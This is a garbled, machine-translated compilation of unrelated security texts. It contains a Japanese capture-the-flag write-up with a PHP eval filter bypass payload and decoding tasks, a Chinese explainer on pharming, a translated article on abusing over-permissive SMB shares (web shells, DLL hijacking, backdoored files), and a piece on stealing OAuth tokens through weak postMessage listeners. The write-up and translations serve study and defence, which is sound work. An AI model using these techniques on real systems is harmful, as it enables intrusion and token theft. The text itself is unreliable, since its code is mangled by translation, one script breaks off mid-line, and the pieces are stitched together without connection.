$ security=['abs'、 'base_convert'、 'cos'、 'dex'、 'exp'、 'f1ag'、 'getrandmax'、 'hexdec'、 'is_nan'、 'log'、 'max'、 'octdec'、 'pi'、 'sin'、 'tan'];

preg_match_all( '/[a-za-z_ \ x7f- \ xff] [a-za-z_0-9 \ x7f- \ xff]*/'、$ content、$ used_funcs);

foreach($ used_funcs [0] as $ func){

if(!in_array($ func、$ security)){

die( 'no!no!no!');

}

}

eval( 'echo'。$ content。 ';');

if(isset($ f1ag)){

if($ f1ag=='flag'){

Echo '高校生/BR';

echo 'here_is_flag !';

}

}

それ以外{

echo 'no!no!no!';

}

}

それ以外{

die( 'zはどこですか?');

}

最初の方法

最初のステップは、is_numericをバイパスして配列を使用することです

ステップ2:MD5はインターネットをバイパスし、たくさん検索します

X []=10000Y=0E215962017Z=log($ f1ag=0)

3番目のステップは0でバイパスでき、ログ関数はx []=10000y=0E215962017z=log($ f1ag=0)になります。

1049983-20241004174654218-291559251.jpg

または、cos関数x []=10000y=0E215962017z=cos($ f1ag=0)を使用します

1049983-20241004174700986-1030522670.jpg

その他:

情報セキュリティ競争の通知

開いた後、色を変更すると、旗が表示されます

1049983-20241004174701674-30547865.jpg

複数のエンコーディング

添付ファイル:

エンコーディング 1:+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++ - ] ++++++。

2:([](! []+[])[!+[]+!+[]]+([] []]+[])[+!+[]]+(! []+[])[+[]]+(! []+[])[+!+[]+([![]]+[]) +(![]+[])[!+[]+!+[]+!+[]+]+]+[!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+ ]+!+[]+!+!+ (! []+[])[!+[]+!+[]+!+[]+[]+[!+]+!+[]+!+[]+[]+[]+[]+[])[!+[]+!+[]+!+[]+([](! []+[])[!+[]+[]+[]+[]+ ([] [] []]+[])[+!+[]+(! []+[])[+!+[]]+([![]]]+(! []+[])[+!+[]]+([![! +[] [])[+!+[]+[]+[]+(![]+[]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]+[]+]+]+[]+]+[]+[]+[]+[]+[]+

コード3:OOK。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook。 ook? ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!

ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ook? ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook? ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ!

ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook?

ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook。 ook。 ook。

ああ! ook。ああ! ook。ああ!ああ!ああ! ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook。 ook。 ook。ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook?

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。ああ! ook。 ook? ook。

最初の段落jsfuck復号化:flag {ab71cda1

1049983-20241004174702278-1588943883.png

2つのセグメントすべてデコード:B495E13B3F21

1049983-20241004174702915-638662998.png

3番目の段落ook復号化:F6FD50221978}

1049983-20241004174703724-567341788.jpg

フラグ{AB71CDA1B495E13B3F21F6FD50221978}

bluetooth

zipを見つけてKeキーを持っているグローバル検索フラグ

1049983-20241004174704552-93359001.jpg明らかな圧縮パッケージとflag.txtドキュメントが見つかりました

1049983-20241004174705291-1547728920.jpgキーキーもあります

1049983-20241004174705931-1082659547.jpg圧縮パッケージをエクスポートします

1049983-20241004174706446-1289494769.jpg

圧縮パッケージをエクスポートします

ここの誰かがこれらの2つのファイルをエクスポートする方法を知りません。簡単に話しましょう

最初のタイプ

トラフィックパッケージファイルを変更して、zipを減圧して分離して抽出するなどの圧縮パッケージ形式に変更します

2番目のタイプ

関連するコマンドでトラフィックパッケージファイルを直接分離します

3番目のタイプ

トラフィックパッケージを開き、キーワードを使用して元のデータを見つけます。 16進ファイルをコピーしてインポートします。圧縮パッケージを取得するには、テキストの開始と終了を変更する必要があります。

知らせ

ここの多くの人々は圧縮パッケージを入手し、ファイルが破損しており、開くことができないことを発見します。ここでは、減圧ソフトウェアを変更できます。

ciphertextとkey :を取得します

flag.txt:

10004583275926070044326083910251708233320797793557792087030978163051881401914132269450797

キー:52162946952118202938062470298887026154798297270637676463374801674742298813146203404040756931515222

これが暗号文とキーです

十進数六量体スクリプト

def hex(number):

hex_str=hex(number)[2:]

Len(hex_str)==1:の場合

hex_str='0' + hex_str

hex_strを返します

__name__=='__main __' :の場合

number=int(input( 'input3360'))

hex_representation=hex(number)

print(f '{number}' 16進表現は: {hex_representation} ')です。

秘密のテキスト

4E94DCDB6DE87E65D263419EC45AEC93E8A2E1D386B31FB804E0F02366DF44DBE86A8A8A7C462D

28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550

xor
を実行します

#暗号化された暗号文と16進文字列を定義します

txt='4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df444dbe86a8a8a7c462d'

Key='28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550' '

#ヘキサデシマル文字列をバイトオブジェクトに変換します

ciphertext_bytes=bytes.fromhex(txt)

key_bytes=bytes.fromhex(key)

#decryptionにbyte-byte xorを使用します

#注:ここでは、キーと暗号文は同じ長さであると想定されています。そうしないと、zipはより短い長さに切り捨てられます

decrypted_bytes=bytes([c ^ k for c、k in zip(ciphertext_bytes、key_bytes))))

#復号化されたバイトオブジェクトを文字列にデコードして、デコードできないバイトを無視してみてください

#ここでは、復号化されたバイトのほとんどを有効なUTF-8文字にデコードできると想定されています

print(decrypted_bytes.decode(errors='ig

網域嫁接(Pharming)概念網域嫁接(Pharming)是網絡犯罪分子用來在個人計算機或服務器上安裝惡意代碼的一種騙局。顧名思義,它是“網絡釣魚(phishing)”和“嫁接(farming)”兩個詞的混成詞,代表一種類似於網絡釣魚的新型技術,可用於操縱網站流量並竊取機密信息。

網域嫁接攻擊中涉及的惡意代碼會篡改IP地址信息,從而在用戶不知情或不同意的情況下將其誤導至虛假網站。一旦被重定向到這些虛假網站,用戶就會被提示輸入個人信息,這些信息隨後將被用於身份盜竊或金融欺詐活動。

攻擊者在執行網域嫁接攻擊時主要針對銀行或其他貨幣兌換系統的客戶。這種策略是成功的,由於它允許黑客一次滲透多個設備。此外,黑客無需說服用戶點擊可疑的電子郵件鏈接或可疑廣告。惡意代碼會自動下載,無需用戶進行任何操作。

網域嫁接運作方式網域嫁接是一種通過滲透個人計算機或毒化服務器來實施的欺騙行為。這兩種方法都使用重定向網站的代碼,但每種方法的執行方式不同。

網域嫁接究竟是如何根據具體情況來實施的呢?要了解其機制和細微差別,首先還應該了解不同類型的網域嫁接。

入侵個人計算機在這種類型的網域嫁接中,黑客會發送一封電子郵件,其中包含篡改個人計算機主機文件的代碼。一旦主機文件被滲透,黑客就可以將URL重定向到用戶打算訪問的網站的虛假版本,方法是用虛假IP地址替換合法的IP地址。即使用戶輸入了正確的URL,頁面也會重定向。這些網站能夠模仿真實網站的外觀,因此用戶可能並不知道自己已經淪為受害者。

DNS投毒或DNS緩存篡改域名系統投毒或DNS投毒(DNS poisoning,即DNS服務器緩存中的記錄被篡改)是一種更極端的網域嫁接類型。要了解這種類型的網域嫁接,您首先需要了解域名系統(DNS)及其工作原理。 DNS服務器本質上是將域名轉換成IP地址——在“人類”語言和“計算機”語言之間進行轉換。

在這種網域嫁接攻擊中,黑客攻擊的是DNS服務器,而不是滲透個人計算機上的文件。該服務器可以處理成千上萬互聯網用戶的URL請求,這就意味著每個用戶都會在不知不覺中被重定向到虛假頁面。這種大規模威脅尤為危險,因為受影響的用戶即便擁有安全且無惡意軟件的設備,也可能淪為受害者。

網域嫁接vs網絡釣魚同樣是“ph-”開頭,很多人可能難以區分網域嫁接、網絡釣魚及其他網絡攻擊。

簡單來說,網絡釣魚是一種通過發送看似合法的惡意電子郵件來獲取個人信息的技術。攻擊者需要使用推銷手段,說服用戶點擊欺詐性電子郵件中的鏈接。除了電子郵件網絡釣魚外,黑客還正在採用其他形式的通信,例如短信(即短信網絡釣魚,smishin)和語音消息(即語音釣魚,vishing)。

另一方面,網域嫁接涉及創建虛假網站以竊取個人信息。雖然網絡釣魚需要點擊欺詐性點電子郵件中的鏈接,但網域嫁接並不總是需要用戶採取手動操作——他們甚至會在不知情的情況下被重定向到這些虛假網站。

網域嫁接攻擊的跡象網域嫁接攻擊可能難以檢測,尤其是當惡意網站與原始網站幾乎一模一樣時。但是,有一些微妙的方法可以判斷您是否已淪為攻擊的受害者。需要留意的一些常見的網域嫁接跡象包括:

對鏈接或網站的細微更改攻擊者有時會在創建惡意網站時更改URL中的字母或使用更改過的圖形。如果您在訪問熟悉的網站時發現拼寫錯誤、更改過的徽標或無法識別的顏色,那麼它可能就是一個網域嫁接網站。

不安全的連接網域嫁接網站經常在URL中使用“http”而不是“https”,這表示連接不安全。如果您收到一條消息警告“您的連接不安全”,或者您在地址欄中沒有看到灰色掛鎖符號,那麼您很可能正在訪問惡意網站。

不尋常的賬戶或銀行活動攻擊者經常使用網域嫁接手段來訪問銀行賬戶及其他敏感信息。如果您發現自己的信用卡或銀行賬戶存在未經授權的活動,您可能已淪為網域嫁接攻擊的受害者。

未經授權的密碼更改如果攻擊者可以訪問您的在線帳戶的登錄信息,他們可能會更改密碼以阻止您登錄。密碼隨機更改可以很好地表明了有人入侵了您的帳戶。

不熟悉的應用程序或下載突然出現不熟悉的應用程序或軟件可能表明黑客已經獲取了您設備的訪問權限。

網域嫁接帶來的網絡安全風險網域嫁接攻擊可能會對公司和個人用戶產生嚴重影響。一些最常見的風險包括:

數據丟失攻擊者可以使用網域嫁接來訪問個人數據或其他敏感信息。這對於企業所有者或對多個帳戶使用同一密碼的人來說尤其危險。如果您懷疑攻擊者通過網域嫁接攻擊獲取了您的登錄信息,應該立即更改密碼並採取措施保護受影響的帳戶。

惡意軟件打開網域嫁接騙網站或點擊不熟悉的鏈接可能會使您的設備暴露在病毒及其他惡意軟件的面前。除非您使用可靠的防病毒檢測工具,否則您可能不會注意到該過程的發生。

金融盜竊或欺詐一旦攻擊者獲得對您賬戶的訪問權限,他們就可以使用您的信息來竊取資金或進行欺詐性購買。這對於模仿銀行或其他金融機構的欺詐網站尤為常見。

網域嫁接攻擊緩解措施雖然我們無法完全阻止網域嫁接攻擊,但下述步驟可以幫助抵禦網絡犯罪分子。

檢查URL是否拼寫正確;

確保連接是安全的;

檢查網站是否有錯別字和其他不符之處;

您認為自己是攻擊的受害者,請清除DNS緩存;

運行防病毒程序以確保您的設備安全;

您認為自己的服務器受到了威脅,請盡快聯繫您的互聯網服務提供商(ISP);

安裝VPN以確保安全的在線瀏覽。

鑑於網域嫁接和網絡釣魚等掠奪性策略日益盛行,保護自身免受各種惡意軟件攻擊比以往任何時候都更加重要。如果您採取了預防措施,並規範互聯網實踐,則可以最大限度地減少數據被惡意代碼竊取的機會。

本文會詳細介紹如何在Active Directory環境中快速地對配置了過多權限的網絡共享進行梳理、利用和修復。過多的共享權限可能導致企業環境中的數據暴露、權限提升和勒索軟件攻擊。另外,我們還將深入探討在主流漏洞管理和滲透測試20年之後,為什麼環境網絡共享配置權限不當還一直困擾著用戶。

最後,我將分享一個名為PowerHuntShares的新開源工具,它可以幫助簡化共享查找和糾正Active Directory環境中過多的SMB共享權限。

下面總結了在大多數Active Directory環境中經常導致大規模網絡共享暴露的根本原因。

資產管理跟踪企業環境中的動態系統非常困難,跟踪不斷變化的共享庫存和所有者則更加困難。即使身份和訪問管理(IAM)團隊通過發現找到一個網絡共享,它也會產生以下問題:

1.誰擁有它?它支持哪些應用程序或業務流程?我們可以刪除高風險訪問控制條目(ACE)嗎?我們可以一起刪除共享嗎?

2.如果你有一個正常運行的配置管理數據庫(CMDB),則可以回答大多數問題。不幸的是,並不是每個人都這樣做。

損壞的漏洞管理許多漏洞管理程序從未被構建來識別那些向經過身份驗證的域用戶提供未經授權訪問的網絡共享配置。他們的重點是識別經典的漏洞(缺失的補丁、弱密碼和應用程序問題),並優先處理不需要身份驗證的漏洞,當然這並不都是壞事。

但是,根據我的觀察,業界只是在過去五年中才對Active Directory生態系統產生了濃厚的興趣。這似乎很大程度上是因為越來越多的暴露和意識到Active Directory(AD)攻擊,這些攻擊嚴重依賴於配置,而不是缺少補丁。

我也不是說IAM團隊沒有努力完成他們的工作,但在許多情況下這是團隊管理的困境。

滲透測試人員一直都知道共享是一種風險,但在Active Directory環境中實施、管理和評估最小權限是一項不小的挑戰。即使對安全社區越來越感興趣,也很少有解決方案可以有效地清點和評估整個Active Directory域或多個域的共享訪問權限。

根據我的經驗,很少有組織一開始就執行經過身份驗證的漏洞掃描,但即使是那些確實缺少常見的過度權限、繼承權限和對環境的總結數據的發現的組織,這些環境提供了大多數IAM團隊做出良好決策所需的洞見。很長一段時間以來,人們一直過度依賴這些類型的工具,因為許多公司有這樣的印象,即它們提供了比它們在網絡共享權限方面更多的覆蓋範圍。

邊界不清大多數大型環境都有主機、網絡和Active Directory域邊界,在執行任何類型的身份驗證掃描或代理部署時都需要考慮這些邊界。試圖準確盤點和評估網絡份額的公司經常錯過一些事情,因為他們沒有考慮隔離其資產的邊界。在評估資產時,請確保在這些邊界內工作。

大量使用云云技術地出現,並不意味著網絡共享會消失。公司需要花上十年的時間才能將大部分的文件存儲基礎設施遷移到雲。

理解NTFS和共享權限在過去的幾年裡,有許多與共享權限管理相關的糟糕實踐已經被吸收到IT文化中,只是因為人們不了解它們是如何工作的。造成過多共享權限的最大原因之一是通過本機嵌套組成員關係繼承權限。此問題也不限於網絡共享。十多年來,我們一直在濫用相同的權限繼承問題來訪問SQLServer實例。在下一節中,我將仔細分析這個問題。

網絡共享權限繼承盲點網絡共享只是使網絡上的遠程用戶可以使用本地文件的一種媒介,但是兩組權限控制著遠程用戶對共享文件的訪問。要了解權限繼承問題,我們可以快速回顧一下NTFS和共享權限在Windows系統上是如何協同工作的。

NTFS權限1.用於控制對本地NTFS文件系統的訪問;

2.會影響本地和遠程用戶;

共享權限1.用於控制對共享文件和文件夾的訪問;

2.只影響遠程用戶;

簡而言之,從遠程用戶的角度來看,首先審查網絡共享權限(遠程),然後審查NTFS權限(本地),但無論如何,最嚴格的權限總是勝出。下面是一個簡單示例,顯示John對共享具有完全控制權限,但對關聯的本地文件夾只有讀取權限。大多數限制性會發揮作用,所以John只能通過共享文件夾對遠程可用的文件提供讀訪問。

1.png

所以這些是基礎,最重要的想法是限制性最強的ACL獲勝。但是,有一些細微差別與繼承域組的本地組有關。為了弄清楚這一點,讓我們簡要介紹一下受影響的當地組織。

大眾大眾組織在大多數配置中為所有經過身份驗證和匿名的用戶提供訪問權限。這個組在許多環境中被過度使用,並且經常導致過度的權限。

內置\用戶默認情況下會添加新的本地用戶。當系統未加入域時,它會按照你的預期運行。

認證用戶該組嵌套在內置\用戶組中。當系統未加入域時,它不會在影響訪問方面做太多事情。但是,當系統加入Active Directory域時,AuthenticatedUsers隱含地包括“域用戶”和“域計算機”組。例如,IT管理員可能認為他們只提供對內置\用戶組的遠程共享訪問權限,而實際上他們將其提供給域中的每個人。下圖有助於說明這種情況。

2.png

這裡的教訓是,對本地和域組關係的一個小小的誤解可能會導致未經授權的訪問和潛在的風險。下一節將介紹如何梳理共享及其訪問控制列表(ACL),以便我們可以定位和修復它們。

網絡共享庫存事實證明,由於一些本地和開源工具,獲得域計算機和相關共享的快速庫存並不難。關鍵在於獲取足夠的信息來回答那些修復工作所需的人員、內容、地點、時間和方式等問題。

共享和權限的發現需要4步:

1.通過輕量級目錄訪問協議(LDAP)查詢Active Directory以獲取域計算機列表。 PowerShell命令如Get-AdComputer(Active DirectoryPowerShell模塊)和Get-DomainComputer(PowerSploit)。

2.可以在這裡提供很大的幫助。確認TCP端口445上與這些計算機的連接。 Nmap是用於此目的的免費且易於使用的工具。如果你想堅持使用PowerShell,還有幾個開源TCP端口掃描腳本。

3.使用你喜歡的方法查詢共享、共享權限和其他信息。 Get-SMBShare、Get-SmbShareAccess、Get-ACL和Get-ObjectAcl(PowerSploit)等PowerShell工具非常有用。

4.其他有助於稍後進行補救的信息包括文件夾所有者、文件計數、文件列表、文件列表哈希和計算機IP地址。你還可以在貴公司的CMDB中找到其中一些信息。 Get-ChildItem和Resolve-DnsNameSome等PowerShell命令也可以幫助收集其中的一些信息。

PowerHuntShares可用於自動執行上述任務(在最後一節中介紹),但無論你使用什麼方法,了解未經授權的共享訪問如何被濫用將有助於你的團隊確定補救工作的優先級。

網絡共享開發配置有過多權限的網絡共享可以通過多種方式被利用,但共享的性質和特定的共享權限將最終決定可以執行哪些攻擊。下面,我概述了一些最常見的攻擊,這些攻擊利用對共享的讀寫入訪問來幫助你入門。

讀取訪問權限濫用勒索軟件和其他攻擊者經常利用對共享的過度讀取權限來訪問敏感數據,如個人可識別信息(PII)或知識產權(源代碼、工程設計、投資策略、專有公式、收購信息等),他們可以利用這些數據開發、出售或勒索你的公司。此外,我們在滲透測試中發現,密碼通常以明文形式存儲,可以用於登錄數據庫和服務器。這意味著在某些情況下,對共享的讀取訪問權限可以在RCE中結束。

下面是一個簡單的例子,說明對網絡共享的過多讀訪問如何導致RCE:

攻擊者入侵域用戶。攻擊者識別web根目錄、代碼備份目錄或dev ops目錄的共享目錄。攻擊者識別以明文形式存儲的密碼(通常是數據庫連接字符串)。攻擊者使用數據庫密碼連接數據庫服務器。攻擊者使用本機數據庫功能來獲得數據庫服務器操作系統的本地管理權限。攻擊者利用共享數據庫服務帳號訪問其他數據庫服務器。

具體示例如下:

3.png

寫入訪問權限濫用寫入訪問權限提供了讀取訪問的所有好處,並且能夠添加、刪除、修改和加密文件(如勒索軟件攻擊者)。寫入訪問還提供了將共享訪問轉變為RCE的更多潛力。以下是十個更常見的RCE選項的列表:

1.將web shell寫入web根文件夾,可以通過web服務器訪問。

2.替換或修改應用程序EXE和DLL文件以包含後門。

3.將EXE或DLL文件寫入未引用的應用程序和服務使用的路徑。

4.編寫DLL到應用程序文件夾以執行DLL劫持。你可以使用由NetSPI自己的研究總監NickLanders編寫的Koppeling。

5.將DLL和配置文件寫入應用程序文件夾以執行.net應用程序的appdomain劫持。

6.在“所有用戶”啟動文件夾中寫入可執行文件或腳本,以便在下次登錄時啟動它們。

7.修改計劃任務執行的文件。

8.修改PowerShell啟動配置文件以包含後門。

9.修改MicrosoftOffice模板以包含後門。

10.編寫惡意LNK文件以捕獲或中繼NetNTLM哈希。

你可能已經註意到,我列出的許多技術也常用於持久性和橫向移動,這很好地提醒了舊技術可以有多個攻擊。

下圖是個基本的web shell示例:

1.攻擊者破壞了域用戶。

2.攻擊者掃描共享,找到wwwroot目錄,並上傳web shell。 wwwroot目錄存儲目標IIS服務器上託管的Web應用程序使用的所有文件。因此,你可以將web shell視為擴展已發布Web應用程序功能的東西。

3.使用標準Web瀏覽器,攻擊者現在可以訪問目標IISWeb服務器託管的上傳web shell文件。 4.攻擊者使用web shell訪問以作為Web服務器服務帳戶在操作系統上執行命令。

5.Web服務器服務帳戶可能具有訪問網絡上其他資源的額外權限。

4.png

下面是另一個簡化的圖表,顯示了可用於執行我列出的前10種攻擊的一般步驟。讓我們關註一下被濫用的C$部分。 C$共享是Windows中的默認隱藏共享,標準域用戶不應訪問。它映射到C驅動器,該驅動器通常包括系統上的所有文件。不幸的是,devOops、應用程序部署和單用戶錯誤配置意外或故意使C$共享在比你想像的更多環境中可供所有域用戶使用。在我們的滲透測試中,我們對加入域的系統執行了完整的SMB共享審計,並且我們發現超過一半的時間我們最終對C$共享進行寫訪問。

5.png

網絡共享修復在過度的共享修復工作中追踪系統所有者、應用程序和有效的業務案例對於IAM團隊來說可能是一個巨大的痛苦。對於大型企業而言,這可能意味著對數十萬個共享ACL進行分類。因此,在該工作期間有辦法對共享進行分組和優先級排序可以節省大量時間。

我發現成功分組的訣竅是收集正確的數據。為了確定要收集哪些數據,我們要先設置一些標準,然後確定我可以從哪裡獲得這些數據。

哪些共享有暴露風險?共享名稱:有時,僅共享名稱就可以表明暴露的數據類型,包括C$、ADMIN$和wwwroot等高風險共享。

共享文件計數:當你可能首先嘗試優先考慮高風險共享時,沒有文件的目錄可以成為優先共享修復的一種方式。

目錄列表:與共享名稱類似,共享目錄中的文件夾和文件通常可以告訴你很多有關上下文的信息。

目錄列表哈希:這只是目錄列表的哈希。雖然不是硬性要求,但它可以使識別和比較相同的目錄列表更容易一些。

誰有訪問權限?共享ACL:這將有助於顯示用戶擁有哪些訪問權限,並且可以針對已知的高風險組或大型內部組織進行過濾。

NTFSACL:這將有助於顯示用戶擁有哪些訪問權限,並且可以針對已知的高風險組或大型內部組進行過濾。

它們是什麼時候創建的?

文件夾創建日期:對創建日期進行分組或聚類可以揭示與過去可能引入過多共享權限的業務部門、應用程序和流程相關的趨勢。

誰創建了它們?文件夾所有者:文件夾所有者有時可以將你帶到擁有創建/使用共享的系統、應用程序或流程的部門或業務單位。

主機名:如果使用標準化命名約定,主機名可以指示位置和所有權。

他們在哪裡?計算機名稱:如果使用標準化命名約定,主機共享的計算機名稱通常可用於確定部門和位置等大量信息。

IP地址:與計算機名稱類似,子網通常也分配給執行特定操作的計算機。在許多環境中,該分配記錄在Active Directory中並且可以交叉引用。

如果我們在發現過程中收集了所有這些信息,我們可以使用它來根據共享名稱、所有者、子網、文件夾列表和文件夾列表哈希執行分組,以便我們可以識別大量可以立即修復的相關共享。

過多的權限過多的讀寫共享權限已被定義為任何網絡共享ACL,其中包含針對“所有人”、“經過身份驗證的用戶”、“內置\用戶”、“域用戶”或“域計算機”的顯式ACE(訪問控制條目)組織。由於權限繼承問題,它們都為域用戶提供了對受影響共享的訪問權限。

高風險共享如上所述,高風險共享被定義為提供對系統或應用程序的未經授權的遠程訪問的共享。默認情況下,這包括wwwroot、inetpub、c和c$共享。但是,可能存在其他未提及的風險。

'OAuth-dance”方法是什麼?

響應類型首先,你可以在OAuth-dance中使用不同的響應類型,最常見的三種是:

1.代碼+狀態。該代碼用於調用OAuth-provider 服務器端以獲取令牌。 state 參數用於驗證正確的用戶正在撥打電話。在對OAuth-provider進行服務器端調用之前,OAuth-client負責在服務器端調用OAuth-provider之前驗證狀態參數。

2.id_token。是使用來自OAuth-provider的公共證書籤名的JSON Web 令牌(JWT),以驗證所提供的身份確實是它聲稱的身份。

3.token。是服務提供者的API 中使用的訪問令牌。

響應模式在OAuth-dance 中,授權流程可以使用多種模式向網站提供代碼或令牌,以下是四種最常見的模式:

1.Query,將查詢參數作為重定向發送回網站(https://example.com/callback?code=xxxstate=xxx)。用於“代碼+狀態”情況。該代碼只能使用一次,並且在使用該代碼時你需要OAuth 客戶端密鑰來獲取訪問令牌。不建議對令牌使用此模式,因為令牌可以多次使用,並且不應最終出現在服務器日誌或類似文件中。大多數OAuth-provider不支持令牌的這種模式,僅支持代碼。例如:

response_mode=query 被Apple 使用。

response_type=code 由Google 或Facebook 使用。

2.Fragment。使用Fragment重定向(https://example.com/callback#access_token=xxx)。在這種模式下,URL 的Fragment部分不會出現在任何服務器日誌中,只能使用javascript訪問客戶端。此響應模式用於令牌。如下所示:

response_mode=fragment 被Apple 和Microsoft 使用;

response_type 包含id_token 或token,由Google、Facebook、Atlassian 和其他人使用。

3.Web-message。使用postMessage 到網站的固定來源:

postMessage('{'access_token':'xxx'}','https://example.com')

如果支持,它通常可以用於所有不同的響應類型。如下所示:

response_mode=web_message 由Apple 使用。

redirect_uri=storagerelay://. 被Google 使用。

redirect_uri=https://staticxx.facebook.com/./connect/xd_arbiter/. 被Facebook 使用。

4.Form-post。使用表單發佈到有效的redirect_uri,一個常規的POST-request被發送回網站。這可用於代碼和令牌。如下所示:

response_mode=form_post 由Apple 使用。

ux_mode=redirectlogin_uri=https://example.com/callback 由Google 登錄(GSI) 使用。

一些OAuth 提供商通過圍繞OAuth-dance 提供完整的SDK 包裝器來簡化OAuth 流程,例如Google 的GSI。這與id_token 的常規OAuth 流程完全一樣。令牌通過form-POST 或postMessage 發送回網站。

通過postMessage 竊取令牌我一直在尋找與postMessage 實現相關的漏洞。我構建了一個Chrome 擴展程序來偵聽消息並簡化檢查每個選項卡中所有窗口的所有postMessage 偵聽器。雖然如今在這些偵聽器中很少發現簡單的XSS 問題,但來源檢查較弱或沒有來源檢查的問題仍然很常見。然而,在很多情況下,能夠繞過起源檢查並沒有任何真正的影響。

我們認為將會有帶有弱源檢查或沒有源檢查的postMessage偵聽器,它們會洩漏location.href,這是你當前訪問的網站的URL。它將直接或間接洩漏到我可能能夠捕獲它的其他地方。

例如,在常規起始頁上,這可能看起來並不重要,但是如果我可以嘗試讓OAuth 代碼或令牌登陸具有這些弱postMessage 偵聽器之一的網站頁面。然後,我將能夠通過從不同的選項卡發送消息並取回location.href 來從偵聽器獲取令牌,並且我將能夠竊取OAuth 令牌,而無需任何XSS。

這種竊取當前URL 的方法對於其他具有與OAuth-dance 無關的敏感URL 的地方當然很有趣,但感覺使URL 敏感的最常見方法是關注登錄流程。

為了開始調查,我決定:

1.瀏覽運行漏洞賞金的熱門網站上的所有登錄流程。

2.如果他們使用任何第三方OAuth-provider,請保存他們使用的登錄URL,其中包含所有提供程序的客戶端ID、響應類型/模式和重定向uri。

3.如果網站上加載了任何有趣的postMessage 偵聽器或任何其他第三方腳本,要注意。

4.嘗試將這個耗時的想法稱為“Project Dirty OAuth-Dancing”。

5.打開Bill Medley Jennifer Warnes 並開始使用。

在收集網站使用OAuth-provider的所有不同方式時,很明顯有一些可能的選擇和組合,不同的網站決定使用不同的回應類型和模式組合。完成後,我能夠將注意力集中在最流行的OAuth-provider上,然後看看我是否可以基於其他限定符過濾網站

使用OAuth-dance 時要注意的坑在成功使用OAuth-dance後,令牌會從網站的URL 中刪除。確保網站未正確使用代碼或令牌是使此攻擊起作用的第一步,因為我想自己竊取和使用代碼或令牌。

這可能會產生各種結果,但我們的想法是最終出現某種形式的錯誤頁面或類似的仍然加載第三方javascript 以便我們洩露令牌的頁面。

